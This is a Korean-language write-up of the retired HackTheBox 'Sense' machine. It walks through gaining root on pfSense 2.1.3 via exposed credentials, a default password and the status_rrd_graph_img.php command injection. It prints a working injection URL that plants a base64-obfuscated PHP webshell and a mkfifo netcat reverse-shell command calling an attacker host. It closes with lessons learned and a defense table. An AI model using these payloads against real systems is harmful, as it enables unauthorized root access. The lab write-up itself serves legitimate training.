이 글의 목차

HTB - Sense (Retired Machine)

Overview

항목내용
OSOpenBSD (pfSense)
난이도Easy
포트80 (HTTP), 443 (HTTPS)
공격 체인웹 정찰 → gobuster -x txt 확장자 enum → system-users.txt 발견 → pfSense 기본 패스워드로 로그인 → searchsploit으로 버전 매칭 → status_rrd_graph_img.php Command Injection → 웹쉘 → 리버스 쉘 (root)

배경 지식

pfSense란

pfSense는 FreeBSD 기반의 오픈소스 방화벽/라우터 배포판이다. 기업 환경에서도 많이 쓰이는 관리형 네트워크 장비로, 웹 대시보드로 모든 설정을 제어할 수 있다.

이번 머신에서는 pfSense가 웹 애플리케이션 서버이자 공격 대상이다. 버전 정보가 대시보드에 그대로 노출되고, 알려진 CVE가 존재하기 때문에 버전 식별 → CVE 매핑 흐름이 핵심이 된다.

status_rrd_graph_img.php Command Injection 원리

pfSense의 status_rrd_graph_img.php는 시스템 자원(메모리, 프로세스, 큐 등)을 그래프 이미지(PNG)로 렌더링해서 반환하는 스크립트다.

GET /status_rrd_graph_img.php?database=queues
                                        ↑
                              이 파라미터가 공격 지점

문제는 이 그래프가 root 권한으로 실행되는 rrdtool 프로세스를 통해 렌더링된다는 점이다. 시스템 자원 정보를 읽으려면 OS 수준의 접근이 필요하고, pfSense는 이 처리를 root 권한 프로세스에 위임한다.

취약한 코드는 아래와 같다.

$curdatabase = $_GET['database'];
$curif = explode("-", $curdatabase);
$curif = $curif[0];
// ...
exec("rrdtool graph ... $curif ...")  // ← $curif가 그대로 들어감

explode("-", ...)[0]으로 첫 처리는 하지만, 세미콜론(;)이나 파이프(|) 같은 쉘 메타문자에 대한 필터링이 전혀 없다. database=queues;명령어 형태로 임의 OS 명령을 실행할 수 있다. 그리고 그 실행 컨텍스트가 root이기 때문에 별도의 권한 상승 없이 바로 root shell을 얻는다.

gobuster 확장자 지정 enum (-x)

일반적인 디렉터리 enum은 경로 존재 여부만 확인한다. 하지만 서버에 놓인 .txt, .config 같은 파일에 자격증명이 존재할 수 있다. gobuster의 -x 옵션으로 특정 확장자를 가진 파일을 탐색할 수 있다.

gobuster dir -u https://TARGET -w /path/to/wordlist -x txt,php,html

이번 머신에서 system-users.txt가 바로 이 방법으로 발견됐다. 디렉터리 enum에서 확장자를 지정하지 않으면 이런 파일은 놓치기 쉽다.


공격 체인 요약

nmap → 80, 443 확인 → pfSense 로그인 화면
  → gobuster -x txt 확장자 enum
    → /system-users.txt 발견 → 유저명 획득
      → pfSense 기본 패스워드(pfsense)로 로그인
        → 대시보드에서 버전 2.1.3 확인
          → searchsploit으로 CVE 조회
            → pfSense < 2.1.4 status_rrd_graph_img.php Command Injection
              → 웹쉘 업로드 → 리버스 쉘 → root (별도 privesc 불필요)

정찰 (Enumeration)

포트 스캔

sudo nmap 10.129.33.251 -Pn -sCV -oA scans/initial
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https

HTTP와 HTTPS만 열려있다. whatweb으로 서비스 핑거프린팅을 해본다.

whatweb 10.129.33.251
http://10.129.33.251  [301 Moved Permanently] lighttpd/1.4.35
https://10.129.33.251 [200 OK] lighttpd/1.4.35, PHP, PHPSESSID, Title[Login]

lighttpd/1.4.35 위에서 PHP 기반 로그인 페이지가 돌고 있다. 브라우저로 접속하면 pfSense 로고와 로그인 폼이 나타난다.

웹 디렉터리 및 파일 enum

gobuster dir -u https://10.129.33.251 \
             -w /usr/share/wordlists/dirb/common.txt \
             -k \
             -x txt,php,html
/favicon.ico          (Status: 200)
/index.html           (Status: 200)
/index.php            (Status: 200)
/installer            (Status: 200)
/tree                 (Status: 200)
/xmlrpc.php           (Status: 200)
/system-users.txt     (Status: 200)  ← 핵심

/system-users.txt가 노출되어 있다. 내용을 확인한다.

유저명 Rohit과 패스워드 힌트 “company defaults"가 담겨 있다. pfSense의 기본 패스워드는 pfsense인데, “company defaults"가 이를 가리키는 것으로 보인다.

username: rohit
password: pfsense

로그인에 성공한다.


취약점 분석 및 공격

버전 식별 → CVE 매핑

로그인 후 대시보드에서 pfSense 버전 정보를 확인할 수 있다.

버전: 2.1.3

searchsploit pfsense 2.1

여러 CVE가 나오는데, 각 exploit의 조건을 읽어서 현재 상황과 매칭한다.

Exploit조건
pfSense < 2.1.4 - status_rrd_graph_img.php Command Injection로그인만 있으면 됨, root shell 직접 획득
pfSense 2.x - Remote Code ExecutionAdmin 권한 필요

현재 rohit 계정(일반 권한)으로 로그인되어 있고, 버전이 2.1.3이므로 pfSense < 2.1.4 조건에 해당한다. Command Injection exploit을 선택한다.

취약점 확인

/status_rrd_graph_img.php?database=queues에 GET 요청을 보내면 PNG 이미지로 그래프 데이터를 반환한다.

database 파라미터에 세미콜론으로 명령을 이어 붙이면 Command Injection이 가능하다.

웹쉘 업로드

PHP 웹쉘을 웹 루트에 쓰는 payload를 만든다. pfSense 웹 루트는 /usr/local/www/다.

/status_rrd_graph_img.php?database=queues;cd+..;cd+..;cd+..;cd+usr;cd+local;cd+www;echo+"<?php+eval(base64_decode('ZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsg'));?>">shell.php

base64 디코딩 결과: echo system($_GET['cmd']);

업로드 후 /shell.php?cmd=id로 RCE를 확인한다.

uid=0(root) gid=0(wheel) groups=0(wheel)

root 권한으로 실행되고 있다. 권한 상승이 별도로 필요 없다.


Foothold → root

리버스 쉘을 올린다. OpenBSD 환경이므로 named pipe 기반 netcat 페이로드를 사용한다.

# 공격자 머신에서 리스너 준비
nc -lvnp 4444

웹쉘을 통해 실행:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.188 4444 >/tmp/f
connect to [10.10.14.188] from (UNKNOWN) [10.129.33.251] ...
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# hostname
sense

root shell을 바로 획득했다.


Flags

cat /home/rohit/user.txt
cat /root/root.txt

배운 것들

이번 머신의 핵심 깨달음

2.5시간을 shellshock, xmlrpc, 브루트포스, force protection bypass를 시도하다가 막혔다. 막힌 이유는 하나였다 — -x txt 없이 gobuster를 돌렸다.

system-users.txt.txt 확장자 지정 없이는 절대 발견할 수 없다. 파일명 기반 enum과 확장자 기반 enum은 완전히 별개다. 이후 모든 웹 머신에서 초기 enum 체크리스트에 -x txt,php,html,config가 들어가야 한다.

두 번째로 배운 것은 CVE와 현재 버전을 매핑하는 방법이다. searchsploit 결과를 보면 exploit이 여러 개 나오는데, 각 exploit의 **전제 조건(버전 범위, 필요 권한)**을 하나씩 대조하면 현재 상황에 맞는 것을 추려낼 수 있다. 단순히 나열된 결과를 보는 게 아니라 트리아지 관점으로 읽어야 한다.

막혔던 지점 분석

막힌 지점원인교훈
자격증명 획득 (2시간)gobuster에서 -x txt 미사용웹 enum 시 확장자 지정 필수화
shellshock 40분 낭비CGI 스크립트 발견 → 즉시 가설 고정가설이 틀렸음을 빨리 증명하는 훈련 필요
CVE 선택여러 exploit 중 어떤 게 유효한지 판단 못함각 exploit 조건(버전, 권한) 체크 후 매핑

가설이 유효하지 않다는 걸 스스로 증명하는 능력 — 이게 지금 단계에서 가장 약한 부분이다. “이 가설이 틀렸음을 확인하는 데 최대 X분"이라는 타임박스를 스스로 걸어야 한다.

공격 체인 각 요소 정리

요소역할
gobuster -x txt숨겨진 자격증명 파일 발견
pfSense 기본 패스워드“company defaults” → pfsense
대시보드 버전 노출버전 2.1.3 확인 → CVE 범위 특정
searchsploit 트리아지여러 CVE 중 조건 매칭으로 선택
status_rrd_graph_img.phpCommand Injection → root 직접 실행
mkfifo 리버스 쉘OpenBSD 환경에서 안정적인 쉘 획득

다음에 비슷한 상황을 만나면

  • 관리자 웹 UI가 보이면 → 버전 정보 확인 → searchsploit / exploit-db 즉시 조회
  • 웹 enum 시 -x txt,php,html,config 항상 포함
  • searchsploit 결과 여러 개 → 버전 범위 + 필요 권한 두 가지로 필터링
  • Command Injection 발견 시 실행 권한 컨텍스트 먼저 확인 → root면 privesc 불필요

방어 관점 (Blue Team)

공격 벡터방어 방법
자격증명 파일 웹 루트 노출민감 파일 웹 루트 외부 보관, 접근 제어 설정
기본 패스워드 사용초기 설치 후 즉시 변경 정책 적용
Command Injection (입력 미검증)외부 입력의 쉘 메타문자 필터링, escapeshellarg() 적용
rrdtool root 권한 실행최소 권한 원칙으로 프로세스 권한 분리
버전 정보 대시보드 노출인증 전 버전 노출 최소화, 관리 인터페이스 IP 제한